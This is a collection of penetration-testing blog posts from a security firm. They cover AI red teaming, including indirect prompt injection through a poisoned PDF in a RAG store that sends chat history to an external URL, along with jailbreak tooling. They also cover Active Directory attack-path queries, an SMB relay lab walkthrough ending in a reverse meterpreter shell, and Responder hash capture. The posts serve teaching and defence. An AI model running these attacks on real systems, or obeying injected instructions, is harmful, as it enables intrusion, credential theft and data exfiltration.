Artificial-intelligence workloads – whether a multimodal LLM chatbot, a computer-vision pipeline, or an autonomous decision engine – behave very differently from classic software. They ingest massive, often shifting data sets, invoke outside services, and keep learning as they run. Those traits open fresh attack surfaces, from prompt manipulation to model exfiltration, that traditional security testing rarely touches. BreakPoint Labs has refined a methodology for AI penetration testing and red teaming that exposes genuinely exploitable weaknesses in AI systems and, crucially, translates them into business-level risk that the customer can act on.
Any effective assessment begins by drawing the boundaries of the digital terrain. Through conversations with asset owners, we define every component to be assessed: model endpoints, plug-ins, vector or RAG stores, fine-tuning pipelines, orchestration agents, and any other AI-related technologies. Scoping this correctly at the outset ensures that components that might expose you to risk won’t slip through the cracks.
Next, we explore adversaries and likely attack paths that match the customer’s risk profile. A rogue insider with privileged MLOps access, a well-funded nation-state, a competing vendor armed only with the public API, or a hobbyist jailbreak enthusiast each brings different tactics and constraints. By making those assumptions explicit, we avoid the common mismatch in which testers probe vulnerabilities that an actual attacker would never reach, or miss the ones that keep CISOs awake at night.
Finally, we set measurable success criteria. A privacy-focused healthcare client may care most about coercing a model to leak protected health information, whereas a university might worry about its public-facing AI services being exploited to gain internal access.
Passive research often uncovers more than clients expect. Public model cards might reveal the date weights were last updated or hint at third-party data sources; GitHub commits can expose access tokens left in a forgotten notebook. Documentation from academic papers sometimes lists hyper-parameters that make gradient-inversion attacks easier.
Collaborative discovery sessions are usually recommended. Sitting down with MLOps and DevSecOps engineers, we trace data lineage from raw collection to fine-tuning to inference, noting where sensitive inputs flow back into training.
Active enumeration rounds out the picture. We explore what is accessible from various vantage points, system and application information that can be gathered unauthenticated, and any other details an attacker could use maliciously. This discovery paints a realistic picture of what a potential attacker sees and what their next steps might be.
Automation gives us breadth. We fire up PyRIT and garak to orchestrate prompt injection and jailbreak attacks, at a scale no human could match. For pure prompt mutation, FuzzLLM stitches together template-based attacks, rapidly testing thousands of structural variations to find novel jailbreaks that slip past naive guardrails. When the target includes vision, audio, or tabular ML components, IBM’s Adversarial Robustness Toolbox (ART) generates perturbations, poison samples, and extraction queries tailored to each modality.
Automated runs are not a scoreboard; they are a sensor network. Initial findings feed the queue for human follow-up and confirmation.
Automation sketches the outlines; skilled operators color them in. A prompt that convinces the model to echo a single internal variable, for instance, can be expanded into a multi-turn jailbreak that exfiltrates the entire system, prompt, API keys, or confidential user data. A minor encoding leak might escalate into full remote code execution if an LLM, equipped with function-calling, can be persuaded to write an arbitrary Bash script that the orchestrator helpfully runs on the host.
Manual work also excels at chained attacks. Suppose reconnaissance shows that user-generated PDFs are fed into a vector store for semantic search. We craft a malicious PDF whose text embeds an indirect prompt injection. Once ingested, the user simply asks a normal question; the retriever surfaces our payload, and the model executes instructions that bypass the front-end filter, sending the conversation history to an external URL. Because this crosses storage, parsing, embedding, retrieval, and inference layers, no single automated tool would exercise it end-to-end.
This targeted manual testing combines with attacker knowledge and customer information to accurately assess and define risk and possible impact. Standards like the OWASP LLM Top 10 can be applied to synthesize current security posture. Mapping exploits back to MITRE ATLAS and the traditional MITRE ATT&CK matrices helps security teams slot each finding into a familiar defensive playbook.
Checking boxes is not enough; customers need to see how an attacker would actually weave techniques into a campaign. We therefore design narrative scenarios specific to the customer and environment.
These scenarios help accurately define risk and assess defense-in-depth capabilities, as well as develop thorough attack surface understanding. Preparation here leads to better detection and response when the bad guys do come around.
The final report begins with an executive narrative, transitions into a high-level analysis of the tested components, and delves into each vulnerability, detailing what we did, what the model did, and why it matters. Most importantly, we include tailored fixes and provide free remediation testing once implemented.
We close with interactive out-briefs, where red-teamers and client engineers review key exploits, discuss mitigations, and assess risk and potential impact. Customers leave not only with a list of vulnerabilities but also with prioritized and practical fixes and improvements.
By the end of this process, organizations understand exactly how an adversary can penetrate, pivot, and profit from their AI stack. They receive fixes that align with their architecture and risk appetite, not generic best-practice slides. Most importantly, they gain the confidence to innovate with AI, knowing their systems have already survived the sort of focused, creative abuse that attackers are perfecting right now.
AI penetration testing is a structured security assessment that identifies exploitable weaknesses in AI systems, including large language models, computer vision pipelines, and autonomous decision engines. Unlike traditional penetration testing, it addresses AI-specific attack surfaces such as prompt injection, model exfiltration, data poisoning, and jailbreaking.
Prompt injection is an attack where malicious instructions are embedded in content that an AI model processes. The model interprets those instructions as legitimate commands and follows them. It is classified as LLM01 in the OWASP Top 10 for Large Language Models and represents one of the most direct attack paths against AI systems that process user-controlled input.
We use PyRIT and garak to orchestrate prompt injection and jailbreak attacks at scale. For prompt mutation, FuzzLLM tests thousands of structural variations to find novel jailbreaks. For vision, audio, and tabular ML components, IBM’s Adversarial Robustness Toolbox generates perturbations, poison samples, and extraction queries tailored to each modality.
Automated testing provides breadth, running thousands of attack variants to identify potential weaknesses quickly. Manual testing provides depth. A skilled operator can take a single finding from automated testing and expand it into a multi-turn attack that exfiltrates system prompts, API keys, or confidential data. Chained attacks that cross multiple layers, such as storage, parsing, retrieval, and inference, require manual testing because no single automated tool exercises them end to end.
RAG stands for Retrieval-Augmented Generation. It is a technique where an AI model retrieves relevant content from a data store to inform its responses. Attackers can target RAG systems through indirect prompt injection, embedding malicious instructions in documents that get ingested into the vector store. When a user asks a normal question, the retriever surfaces the payload and the model executes the attacker’s instructions.
We map findings to the OWASP LLM Top 10, MITRE ATLAS, and the traditional MITRE ATT&CK framework. This allows security teams to slot each finding into a familiar defensive playbook and prioritize remediation based on their existing processes.
Clients receive a report with an executive narrative, a high-level analysis of tested components, and detailed vulnerability write-ups covering what was tested, what the model did, and why it matters. Each finding includes tailored remediation guidance. We also provide free remediation retesting once fixes are implemented and conduct interactive out-briefs with the engineering team.
Ray Blasko is the Technical Director for offensive operations at BreakPoint Labs and a Red Team Operator for a DoD-certified Red Team, responsible for assessing and securing critical ICS/SCADA assets. He is recognized as a subject matter expert in both attacking and defending IT and OT environments, and he excels at resolving the technical and strategic issues that arise in protecting critical infrastructure. Ray holds numerous professional certifications and regularly presents at DoD Red Team conferences, trade conventions, and information security events.
Amidst the backdrop of an interconnected cyber world, it has become unfortunate that organizations find themselves repeatedly grappling with the reality of cyberattacks. The cybercriminals, threat actors, adversaries, and hackers alike that present these challenges all utilize “Tactics, Techniques, and Procedures” (TTPs) to carry out their playbook against organizations of all sizes. While the objectives and incentives may differ for these adversaries, one thing remains the same for organizations: it’s not IF you will be targeted, but when and how.
Red team (RT) Assessments are an effective solution for organizations to gain insight into which attack paths currently exist within and around their environment. As best defined by author Joe Vest of the Red Team Development and Operations book, “red teaming is the process of using Tactics, Techniques, and Procedures (TTPs) to emulate real-world threats with the goal of training and measuring the effectiveness of the people, processes, and technology used to defend an environment.” This emulation of real-world threats differentiates a red team assessment from a standard penetration test. For a red team assessment, generally, a stealthier approach is taken (as a real-world adversary might take, hoping to evade existing detections on the network), with objective(s) in mind. An example objective might be for the red teamer(s) to access specific data, achieve domain-wide takeover, or successfully data-mine and pivot across the organization while evading the watchful eyes of blue team defenders. While these objectives may be reached with a regular penetration test, generally, the goal of a regular penetration test is to discover all possible vulnerabilities, flaws, and misconfigurations on the network, with less concern around evading detections (though this can certainly be a component, too, depending on the organization’s preference).
Since 2015, BreakPoint Labs (BPL) has empowered its red teamers to stay abreast of current attack techniques, all while ensuring that their capabilities are tested and vetted before executing adversarial actions against a security partner and/or organization. We firmly believe that the active testing performed in red team assessments can provide organizations with a realistic capture of what security holes exist, all while training and advancing the defenses of an organization’s defenses through post-engagement findings, lessons learned, and recommendations.
This depends greatly upon the objective(s) of the assessment you are seeking and whether your organization currently has a defense-in-depth approach in place. If your organization has existent controls, such as host-based protection, network monitoring, access controls, and centralized logging with dedicated personnel monitoring events, then a red team style of assessment would benefit your organization. A red team assessment can not only identify attack paths, gaps in defensive strategies, and vulnerabilities but also measure your defense in depth approach and ultimately train your defenders watching over your IT assets/network. A red team assessment would also be recommended for organizations that have been penetration tested in the past and for organizations that would like a stronger focus on testing their defensive capabilities. Breakpoint Labs offers red team assessments, penetration tests, and vulnerability assessments depending on your organization’s objectives and desired approach.
The next thing you may ask is, what is the return on investment (ROI) and benefit for having a RedTeam assessment?
Red team assessments are powerful tools for evaluating an organization’s security posture. By simulating various threat actors, these assessments provide valuable insights into potential vulnerabilities and areas for improvement. Let’s explore the different adversarial perspectives a red team can emulate:
Red teams can simulate attacks from outside the organization, testing defensive capabilities at the external boundary (e.g., the Internet). This perspective helps identify vulnerabilities that could be exploited by remote attackers.
This approach assumes that systems or networks have already been compromised, either by an insider threat or an external attacker who has gained unauthorized access. Internal red teaming is particularly valuable as it:
By simulating attacks on physical assets (buildings, equipment, and infrastructure), red teams can assess an organization’s ability to protect, defend, and respond to attackers seeking physical entry. This perspective is crucial for preventing cyber footholds gained through physical access.
This red team service specifically targets an organization’s people and their response to adversaries, enticing outreach, or communications. Social engineering attacks can include:
Social engineering assessments test not only people and how they react to these interactions but also the technologies or security controls deployed by an organization that help filter or prevent said attacks from reaching their employees.
Red teams can combine multiple perspectives in a multi-phased approach for a comprehensive evaluation. This method assesses an organization’s resilience against various attack vectors, providing a holistic view of its security posture. By understanding and leveraging these different adversarial perspectives, organizations can gain a complete picture of their security strengths and weaknesses, ultimately enhancing their defense strategy.
Contact BreakPoint Labs now to schedule your free consultation and discover how a red team assessment can fortify your defenses against evolving cyber threats. Our expert team is ready to tailor a comprehensive solution to your unique needs.
Zack Meyers is a Program Manager at BreakPoint Labs and a lead for a DoW-certified Red Team, where he specializes in emulating advanced threat actor TTPs to secure high-value assets. He is a recognized expert in offensive security operations, notably spearheading the attainment of a unique NSA certification for a DoW client to conduct full-spectrum red team activities. Zack holds a Master’s Degree in Cybersecurity and numerous elite certifications, including OSCP and CISSP, and manages daily technical operations for offensive security services across DoW, Federal, and commercial sectors.
Network defenders are often not armed with the right information to fix critical permission issues and general misconfigurations within Active Directory (AD).
Many of these flaws lay dormant in the network for 10+ years until either an attacker or pentester takes advantage of the flaw. This is because these flaws don’t appear in security checklists or vulnerability scanners, which alone can be a daunting task for a large enterprise.
We often get in the mindset of “needing to fix what the tool tells us,” and if it’s not a critical or high-impact flaw coming out of a vulnerability scanner, it just isn’t addressed.
This leaves network defenders with an incomplete picture of their network’s security posture.
At BreakPoint Labs, we understand the importance of bridging the gap between offensive and defensive security practices. That’s why we’re excited to share insights from Andrew McNicol’s recent presentation at BSidesCharm 2024, where he offered defenders a unique attacker’s perspective on Active Directory (AD) environments.
During the presentation, Andrew introduced a game-changing tool developed by BreakPoint Labs called Ad-recon, which automates numerous complex queries going through BloodHound data via Neo4j cypher queries.
Ad-recon is a tool designed to quickly triage BloodHound data (~2-4 seconds to a few minutes to run, depending on switches and data size) and will identify numerous security issues within the AD environment.
Andrew’s talk dives deep into each query Ad-recon performs, shedding light on the significance of the findings and discussing them from both attacker and defender perspectives.
Additionally, Ad-recon allows for customization, enabling users to print and modify queries for use in their own environments, whether via code, Neo4j interface, Cypher-Shell query, or BloodHound GUI.
Discover how to fortify your AD defenses with insights directly from the front lines.
About BreakPoint Labs
BreakPoint Labs, a technically proficient, mission-focused cybersecurity service provider, is dedicated to delivering the methods and means for sustainable, measurable, and effective cybersecurity operations.
Powered by highly motivated, experienced cybersecurity professionals, BreakPoint Labs is developing and leveraging technology to enable a more secure cyberspace.
With well-formed service delivery models in cybersecurity risk assessments, defensive cyber operations, and cyber research and development, underpinned by CMMI® for Services (CMMI-SVC) Level 3 and ISO 9001:2015 corporate certifications, BreakPoint Labs supports a diverse client base in addressing its most challenging problems in the cyber defense domain.
Contact us today for a free cybersecurity assessment consultation.
Talk to a Cybersecurity ExpertAD-RECON is a new tool developed by BreakPoint Labs to quickly triage BloodHound data to identify potential attack paths and misconfigurations. Written in Python, it utilizes the Neo4j driver to automate a multitude of high-value queries.
With a single command, AD-RECON presents relevant domain information and checks for ‘quick wins’ within Active Directory, including but not limited to:
Additionally, there are several optional functions available:
AD-RECON is a tool that can save organizations numerous hours of manual analysis. It can quickly triage BloodHound data and identify potential attack paths and misconfigurations, performing tasks that usually take days of manpower in a matter of minutes. On most Active Directory (AD) networks, it likely uncovers at least one significant misconfiguration. Pentesters and Red Teamers can leverage it to save time on engagements, and Defenders can benefit by identifying flaws before an engagement or real threat actor.
This is the first blog post of many in a series to expand on common ways we take over client networks. It will cover one of the most feature-rich parts of an enterprise network for attackers, Active Directory (AD). By far one of the most interesting parts of hacking due to the sheer complexity of the relationships, abusing AD often leads to spotting critical vulnerabilities that don’t show up during network vulnerability scanning, cybersecurity risk assessments, or compliance evaluations.
AD is nearly ubiquitous across Windows-based environments (with a slow yet sure incorporation of AzureAD now seen for organizations migrating to the cloud). It is also a handy directory service that provides a centralized and standardized means of organizing a network.
Attackers (and providers that do pen testing as a service) have several means of enumerating an AD environment, with the most common and robust being “Bloodhound.” Bloodhound maps out everything in graph form — making it easy to see potential escalation paths from specific users or groups depending on their permissions, with excessive permissions often being the most damaging AD misconfiguration seen within organizations.
The analysis done in this post through Bloodhound, the Neo4j interface, assumes you have installed and configured both with data imported from a target network.
1. Detection: You’ll first need to gather the data via Sharphound or some other method. The customer should have cybersecurity monitoring controls to catch this. If not, the report should include this as a finding with the remediation discussing detection methods.
2. Azure: Even if controls like Multi-Factor Authentication (MFA) are enabled, you can often gather a ton of data externally and import it into Bloodhound via Azurehound. Analyze if the target organization has a tenant and collect that data if it’s in scope.
azurehound.exe list -u "user" -p "pass" -t "tenantName.onmicrosoft.com" -o "output.json"
3. Settings: In the settings, we like to enable Dark Mode, Query Debug Mode, and “Always Display” Edge Label Display, and Node Label Display.
4. Raw Query: Start by looking at the queries Bloodhound performs via Raw Query at the bottom of the GUI. Understanding how to craft your own queries will become incredibly useful as you evolve your analysis techniques.
5. Understanding Permissions: Right-click on the edge (line connecting two points) and click “Help” to learn more about that permission and how to abuse it.
6. Multiple Networks: We like to switch between neo4j databases for various networks. You can quickly set up a new database by modifying the neo4j configuration file:
(/etc/neo4j/neo4j.config) + restart the service.
You’ll need to set up a new user the first time via neo4j before logging into the Bloodhound:
(Original) initial.dbms.default_database=network1
(Modified) initial.dbms.default_database=network2
7. Certificate Templates: You should gather certificate template data via certipy and import it into your Bloodhound GUI. This will help you understand permission abuse paths with certificate templates within Active Directory. Certipy supports “-bloodhound” and “-old-bloodhound” to export the data as a .zip for Bloodhound. This is assuming you’re using the version of Bloodhound within Kali Repos, and not Bloodhound CE and/or Enterprise.
8. Sessions: Getting session data is incredibly useful for privilege escalation analysis. This is very noisy on the network, so consider the assessment goals and OPSEC considerations.
C:\> SharpHound.exe --CollectionMethods Session --Loop
9. Crackhound: If you have a large list of compromised users, you can more easily import them and mark them as owned via Crackhound: https://github.com/trustedsec/CrackHound
10. Custom Queries: There are lots of good custom queries that extend the built-in analysis queries. You can set up your Bloodhound with additional queries by modifying the following file:
(~/.config/bloodhound/customqueries.json)
We find analyzing Users, Computers, and Groups very useful to get a general idea of the AD environment. You can find interesting things based on titles, descriptions, and other attributes, like how frequently passwords change. After understanding the AD environment, we like to look at AD from the bottom up and top down. Below, we will describe how to go about this in more detail:
Of course, there are many other analysis perspectives to consider. Still, fundamentally, this can be a great place to start learning the target AD environment and pulling out some quick wins during vulnerability assessment and penetration testing exercises.
Many penetration testing teams and hackers rush to mark their current user-owned and check the shortest paths to Domain Admins in Bloodhound. This is undoubtedly a useful analysis technique, but you shouldn’t skip analyzing the environment in general.
We like to execute the following searches and will modify them based on various interesting attributes. For example, consider the following query within the neo4j interface to pull a list of all users and their descriptions:
`MATCH (u:User) return u.name, u.description`
You may also want to pull a list of users and their titles:
`MATCH (u:User) return u.name, u.title`
If you want to return the full list of properties, simply return the u object, then look at the complete properties and decide what information you might want to return in a query for your analysis:
`MATCH (u:User) return u`
Here are some examples of leveraging some of the user properties with your search query:
`MATCH (u:User {enabled: true}) return u.name`[Note: Remember that disabled users can still provide relevant escalation paths. This is often a misconception. You might be thinking, “They’re disabled, and I can’t use them.” Consider the following: You have “GenericAll” over a disabled account, and that account has access to another system, which expands your access. If you have “GenericAll,” you can enable that account and change the password, then use it. This is also why simply disabling an account doesn’t always remove the privilege escalation risk, so be mindful of this when suggesting remediation.]
`MATCH (u:User {enabled: true, admincount: true}) return u.name``MATCH (u:User {enabled: true, admincount: true}) return count(u.name)`This blog isn’t scoped around making you an expert with the Cypher Query Language, but enough to get your feet wet and play around with queries.
Below are some additional queries to learn more about the targeted AD environment:
'MATCH (u:Group) return u.name, u.description`
`MATCH (u:Computer) return u.name, u.description`
MATCH (u:User {enabled: true}) WHERE u.pwdlastset > 0
WITH u.name AS name, u.description AS description, u.enabled AS enabled, datetime({ epochSeconds:toInteger(u.pwdlastset) }) AS pwdlastset, duration.inDays(datetime({ epochSeconds:toInteger(u.pwdlastset) }), date()).days AS days_since_pwdlastset
WHERE days_since_pwdlastset > 90
RETURN name, description, days_since_pwdlastset, pwdlastset
ORDER BY days_since_pwdlastset DESCArmed with the initial understanding of the environment, we can now move into looking up from common starting points for network penetration testing through AD, which can include:
An example of this is taking your compromised users and marking them as owned within Bloodhound — allowing you to check several built-in path queries that start from owned users. Additionally, we like to analyze all the outbound controls from this starting point to see what the user can effectively do:
You can apply this same approach to Group(s) and Computer(s) that you’ve compromised or have access to by means of any standard AD account. We have often found interesting abuse paths mapped to built-in inherited groups (EVERYONE@domain.local, Domain Users@domain.local, USERS@domain.local, etc.)
This goes back to understanding the domain during user analysis to get an idea of what common groups the users comprise. Many will be built-in to AD, while others will be specific to the target network.
Below is an example of a compromised user’s transitive outbound control rights and some interesting permissions you’d want to investigate:
The top-down approach, we find, is less commonly leveraged when analyzing networks but provides a lot of valuable escalation paths. Hackers often think in terms of: “I got this account, so now what can I do?” but fail to think about objects in the network with interesting permissions and who can touch those objects.
Of course, this is beyond Domain Admins and Enterprise Admins. Hackers often know to look here, but AD is so complex you can have many objects that are effectively “shadow” domain admins by having paths to reach those permissions or have virtually the same permissions, just not be in those groups.
We like to figure out who has the most outbound rights within the AD environment. These are folks like Domain and Enterprise Admins, but you might also find some odd developer group or random user amongst the list of having excessively high outbound permissions. These other objects can have fewer controls applied to them and may offer very enticing escalation paths that the organization might have otherwise missed.
To identify AD objects with the most outbound rights, we run the following neo4j queries (please note some of these queries can take a lot of time to finish, especially the transitive outbound rights):
Top 100 Outbound Control Rights (First Degree Object Control)
MATCH p=(u)-[r1]->(n) WHERE r1.isacl=true WITH u.name as name, LABELS(u)[1] as type, COUNT(DISTINCT(n)) as controlled WHERE name IS NOT NULL RETURN type, name, controlled ORDER BY controlled DESC LIMIT 100
Top 100 Outbound Control Rights (Group Delegated Object Control)
MATCH p=(u)-[r1:MemberOf*1..]->(g:Group)-[r2]->(n) WHERE r2.isacl=true WITH u.name as name, LABELS(u)[1] as type, g.highvalue as highly_privileged, COUNT(DISTINCT(n)) as controlled WHERE name IS NOT NULL RETURN type, name, highly_privileged, controlled ORDER BY controlled DESC LIMIT 100
Top 50 Outbound Control Rights (Transitive Object Control)
MATCH p=shortestPath((u)-[r1:MemberOf|AddMember|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns*1..]->(n)) WHERE u<>n WITH u.name as name, LABELS(u)[1] as type, COUNT(DISTINCT(n)) as controlled WHERE name IS NOT NULL RETURN type, name, controlled ORDER BY controlled DESC LIMIT 50
Once we have the list of users, groups, etc., that have the most outbound control rights, we will start to understand them better by pulling them up in Bloodhound and then analyze what they can touch by looking at all the outbound control rights. The graphs here might be large and difficult to draw, so you might consider just leveraging the Bloodhound Pathfinding feature:
After understanding the outbound permissions a bit more, turn your attention to the inbound control rights to see who can effectively reach these high-privilege objects:
By evaluating the inbound control rights, you can identify potential paths to reach this target. You might find you need to get to Computer B, and then you can get this user and establish permission you need to take over the entire network. From here, what seemed like a daunting task of taking over a 100,000 computer environment is as simple as reaching this one computer or user.
Below is an example of how compromising a single group leads to full domain compromise through several permission abuse hops:
Active Directory is loaded with such powerful and interesting data to abuse to take over networks.
Today, it stands as the most interesting data source for the BPL red team pen testing experts to effectively demonstrate the risk of what an attacker could do to a network.
While this blog post only scratches the surface of all the amazing data within AD, it has hopefully inspired you to dive deep into AD on your next engagement and challenge yourself to “break the cycle” by finding some vulnerabilities that have been missed for years.
For some continued reading, check out these other links:
Andrew McNicol is the Chief Technology Officer and a co-founder of BreakPoint Labs, where he oversees the company’s technical strategy and manages the Cybersecurity Assessments line of business. He is a recognized expert in adversarial penetration testing, with more than 16 years of experience leading numerous technical teams on red team operations, vulnerability assessments, and penetration testing engagements to achieve each client’s specific objectives. Andrew holds numerous professional certifications and is a frequent speaker at government and industry security forums.
One question we get after performing a penetration test is “Why didn’t I see some of these vulnerabilities during our monthly vulnerability scans?” The truth of the matter is many flaws that both attackers and pentesters exploit do not typically show up in a Nessus, Nexpose, or [insert-vuln-scanner-name-here] scan. Most senior penetration testers and attackers will seldom leverage a vulnerability scanning tool as it’s very noisy on a network and can get you detected/removed/bandwidth issues/etc.
Some pentesting techniques require manual testing and a creative attacker mindset. With that said, there are several things pentesters do regularly that could be adopted into a vulnerability management program.
Goal: Show how vulnerability analysts can go beyond running an authenticated vulnerability scan.
Here are the tips at first glance (in no particular order) :
1) Have an understanding of free (open source) tools you can use:
Reconnaissance is King: The most important step associated with hacking, and pentesting is reconnaissance. Many of the tools mentioned above are focused around reconnaissance vs. exploitation and could be considered for a vulnerability management program.
2) Find the tech stack: Identify the technology and its versioning to check for default credentials, default content, version specific vulnerabilities and misconfigurations:
3) Understand your external footprint:
4) Investigate network shares:
5) Address web applications appropriately:
For further detail on identifying web application vulnerabilities reference: https://breakpoint-labs.com/blog/webapp-vulns/
6) Find the devices and appliances:
7) Know what vulnerabilities are interesting to attackers:
8) Be aware of the impact of outdated Windows systems on your network:
9) Understand OPSEC failures and the impact:
10) Implement user awareness exercises:
All of these techniques are obviously great for security in a perfect world. In reality there are only so many hours in the day and security analysts can get spread thin. If this is the case focus on understanding your external footprint first and then consider implementing the other tips as resources allow.
BSides Philly is an information security conference that’s a volunteer organized event, hosted by and for the community, with a goal of advancing knowledge among security engineers. The conference was held on December 2nd and 3rd 2016 at the Drexel University Creese Student Lounge.
Finding A Company’s BreakPoint
The goal of this talk is to help educate those who are new or learning penetration testing and hacking techniques. We tend to see the same mindset applied when we speak to those new to pentesting “Scan something with Nessus to find the vulnerability, and then exploit it…Right?”. This is very far from reality when we talk about pentesting or even real world attacks. In this talk we will cover five (5) techniques that we find to be highly effective at establishing an initial foothold into the target network including: phishing, multicast protocol poisoning, SMBrelay attacks, account compromise and web application vulnerabilities.
Video:
Slides:
Once your on an internal network your next thought maybe how can I man in the middle (MITM) systems on the network? OR How can I identify vulnerabilities in what appears to be a fully patched environment across systems? One way that often works while performing an internal pentest is to intercept broadcast protocols like LLMNR/NBNS or HTTP/SMB traffic and relay NTLM authentication handshakes to other hosts. By establishing a malicious server on the network we can relay these network authentication handshake attempts from legitimate server exchanges to our own with an outcome of obtaining access to system resources that we couldn’t access before. This blog post is a follow-on to “5 Ways We Get On Your Network” with a closer look at relaying SMB techniques.
SMB Relay Attacks, essentially occur once an attacker inserts themselves in the middle of the NTLM challenge/response protocol. In order for a SMB relay attack to occur the attacker just needs to cause the victim to initiate an HTTP or SMB connection back to the attacker. The multicast name resolution manipulation of NBNS/LLMNR spoofing is only one means of accomplishing this. Typically with SMB Relay attacks the attacker inserts themselves into the middle of an exchange after selecting a target server to authenticate to, which we will cover in our attacker scenario later. The attacker then waits for a system on the network to authenticate to their machine while being connected to the network.
Sometimes patch management systems, antivirus updates, vulnerability scanners, administrator scripts, etc. will attempt to authenticate to hosts systematically across systems on the network. Typically the way to weaponize this is to have the automated process connect to the attackers system with the intention of authenticating to a system on the local network (that the attacker is targeting) for the MITM process to begin (assuming SMB signing doesn’t prevent us). Later in this blog you will see an example of Nessus a vulnerability scanner that has been given credentials to perform an automated scan against a host falling victim to a SMB relay attack.
High Level Overview of SMB Relay Attacks:
Once the authentication process is started the attackers target generates a challenge and sends it back to the attacker. The attacker then sends the challenge back to the originating automated process and/or system. The automated process and/or system then encrypts the challenge with the appropriate password hash and sends it to the attackers system. The attacker finally passes the encrypted response back to his target and with success authenticates to the targeted system.
Now to better understand this attack and process lets jump into a lab scenario that exploits the exchange between a windows client and its domain controller that leads to a meterpreter shell spawning to our attacker system once successful.
Attackers Scenario:
– Attackers IP: 192.168.56.103
– Windows Client Target IP: 192.168.56.105
– Windows DC Target IP: 192.168.56.102
1. Create Your Payload: Lets say that in this scenario we know these systems and their IP’s after we reviewed traffic on the network potentially through a network capture or using a tool like Responder, which we covered in another post. First thing that we can do is build our executable payload with msfvenom:
Once we successfully build out our reverse TCP meterpreter payload “meterz1.exe” we can check the file type to verify that our executable creation and command was indeed successful:
2. Establish Your Listener: Now that we have created our payload we can start msfconsole and use the “/exploit/multi/handler” to stage our listener on our attacker IP. Once the LHOST, LPORT, PAYLOAD and AutoRunScript setting are established we can then type exploit to start our listener. Make sure that you set your multi handler options (we set them to default settings) to the same configured in your msfvenom payload created. Additionally we set the AutoRunScript portion of our multi handler in order to migrate our meterpreter shell to another process to maintain a stronger persistence.
3. Start Your SMB Relay Script: With our malicious executable created and our multi handler started now we can leverage the smbrelayx.py script in another terminal window from our attacker system. In this scenario we know that we want to target the windows client connection (.105) to its domain controller (.102). We need to start our smbrelayx.py script within the same directory as our msfvemom executable created. Below we specify our target host with (-h) and point our script to our payload (-e) for upload upon successful smbrelay attacks that allow writable access to shares.
4. Invoke A Connection Between the Windows Systems: With our script now running let’s navigate to our domain controller system and open a command prompt. Once open type a simple dir command making a connection to the windows client on the domain like so “\192.168.56.105c” and here we can see our connection worked. But when we make a connection from the DC to the “.103” (the attacker IP) for a share our smbrelayx.py running will relay this authentication attempt to login to the “.105” (windows client).
5. Spawn Your Meterpreter Shell: If we switch back to our Attacker instance we should see that the terminal running smbrelayx is attempting to intercept the connection request from the DC (.102) to the attacker IP (.103). During this exchange the script receives the SMB authentication connection from the DC and attempts to authentication against the windows client that we are targeting (.105) with the Administrator account on the CRT domain. Once authenticated the tool begins to request shares on the client and eventually finds a writeable share “ADMIN$” on the windows client and uploads the executable file we created with a generated name and migrate services to maintain persistence with our now spawned meterpreter shell! #profit
SMB Relay Attack Nessus:
As stated before many local networks will have patch management systems, antivirus updates, vulnerability scanners, administrator scripts, etc. will attempt to authenticate to hosts systematically. Often the exchange of credentials being passed between these automated tools or scripts can fall prey to SMB relay attacks. Recently we wanted to test this notion for ourselves with a commercial vulnerability scanner so we leveraged a trial edition of Nessus.
Nessus is commonly deployed in an enterprise environment on a windows server that scans clients for vulnerabilities while leveraging potentially domain or local administrative credentials. We configured the trial of Nessus on our DC server (.102) and set domain administrative credentials for authentication to scan the windows client for vulnerabilities. Before starting our authenticated Nessus scan we set our multi handler, smbrelayx.py and msfvenom payload to the same configuration used in our prior example. Once the multi handler was listening and the smbrelayx script was running, we started our Nessus scan against the windows client. As a result during the scan the smbrelayx script was successful in intercepting the credentials and relayed them over to access the windows client, find a writable share and upload our payload with meterpreter shell access.
How Do I Prevent SMB Relay Attacks and LLMNR, NBNS Spoofing?
The attack vector of performing SMB relay attacks as a MITM is nothing new in the security world, but still absolutely effective across many internal networks. The vulnerability had a major Microsoft Security Bulletin released back in 2008 (MS08-068) . Currently many companies and their local networks lack the proper remediation necessary in order to prevent these types of attacks. Below are several suggestions and potential remediation approaches that could prevent these MITM attacks:
1) Require SMB Signing
2) Disable Broadcast Protocols: LLMNR (Link Local Multicast Name Resolution) and NBNS (NetBios Name Resolution)
3) Prevent WPAD Poisoning with DNS entries
4) Prevent SMB Traffic Outbound
5) Enable EPA (Extended Protection and Authentication)
We find that a majority of the time internal networks allow for credentials to be passed between systems via name resolution traffic such as the Link-Local Multicast Name Resolution (LLMNR) and Netbios Name (NBT-NS) services. By listening, intercepting and manipulating name resolution traffic an attacker can redirect authentication traffic to the attacker’s machine in a Man-in-the-Middle (MitM) attack.
These multicast services (LLMNR & NBT-NS) are used to allow machines on the same subnet to communicate with each other when DNS fails. For example when a user tries to access a system and it cannot be resolved due to an error or no record then an LLMNR and/or NetBIOS request will be sent over multicast or broadcast across the network to resolve this request.
One way that we find this possible is through using a python script called Responder, which can be used to accomplish this poisoning attack. Responder also has several rogue authentication servers listening on several UDP and TCP ports. In our experience once this script is properly run it will capture an abundance of usernames and password hashes traversing the network (typically NetNTLMv2) in modern Windows environments.Capturing Credentials w/ Responder:
Responder is a very useful script that should be in every internal pentesters arsenal whether you have access to the network with your own system or not. But we will get more into that eventually! Let’s assume your attacker system has access to the internal network and you have responder installed. From this point we can simply start this script at the beginning of our assessment with the proper configuration switches set depending on your goals and hopefully watch these broadcast protocols roll on in authentication attempts to our “logs/” files!
1. Running Responder in a Basic Manner: Below is the default “Responder.conf” file that you can tweak depending on what services you want to be started when the script is run. By default all server services are set to start and act as listeners to capture various protocols traffic on the network.
Once the conf file is reviewed, we can now start our Python Responder script against a network interface (-I eth0) and enable fingerprinting (-f) to identifying basic system information while traffic is intercepted and spoofing attempts occur.
Below you can see that Responder was able to poison the LLMNR protocol when the (.105) host queried for an unknown name to DNS on the network. The outcome shows that Responder successfully intercepted the NTLMv2 User and Hash for the Administrator account. From this point once an adversary can obtain additional users and their hashes which can lead to several attack vectors becoming more possible via password cracking, pass the hash, SMB relay attacks, etc.
If we choose to crack the hash it stores the credentials in a file in the “log/” directory that we can easily run against John the Ripper to potentially crack the hash and reveal the clear text password.
